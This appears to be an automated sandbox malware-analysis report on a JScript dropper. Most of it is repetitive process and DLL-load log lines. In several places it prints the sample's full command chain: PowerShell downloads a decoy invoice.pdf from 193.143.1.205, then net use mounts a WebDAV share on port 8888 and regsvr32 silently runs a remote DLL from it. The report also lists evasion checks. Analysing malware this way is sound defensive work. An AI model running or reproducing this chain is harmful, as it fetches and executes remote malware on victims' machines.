Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2587.js.csv");ITextStream.WriteLine(" entry:7838 f:bdjbzwd");ITextStream.WriteLine(" exec:2 f:bdjbzwd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4445			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5425			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 4445 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 5425 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7796	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8024	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000008.00000002.2988477587.00000115F9E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000002.1767485554.0000016A48B2D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1767485554.0000016A48AC8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2989622522.00000115FB45D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1767485554.0000016A48B2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

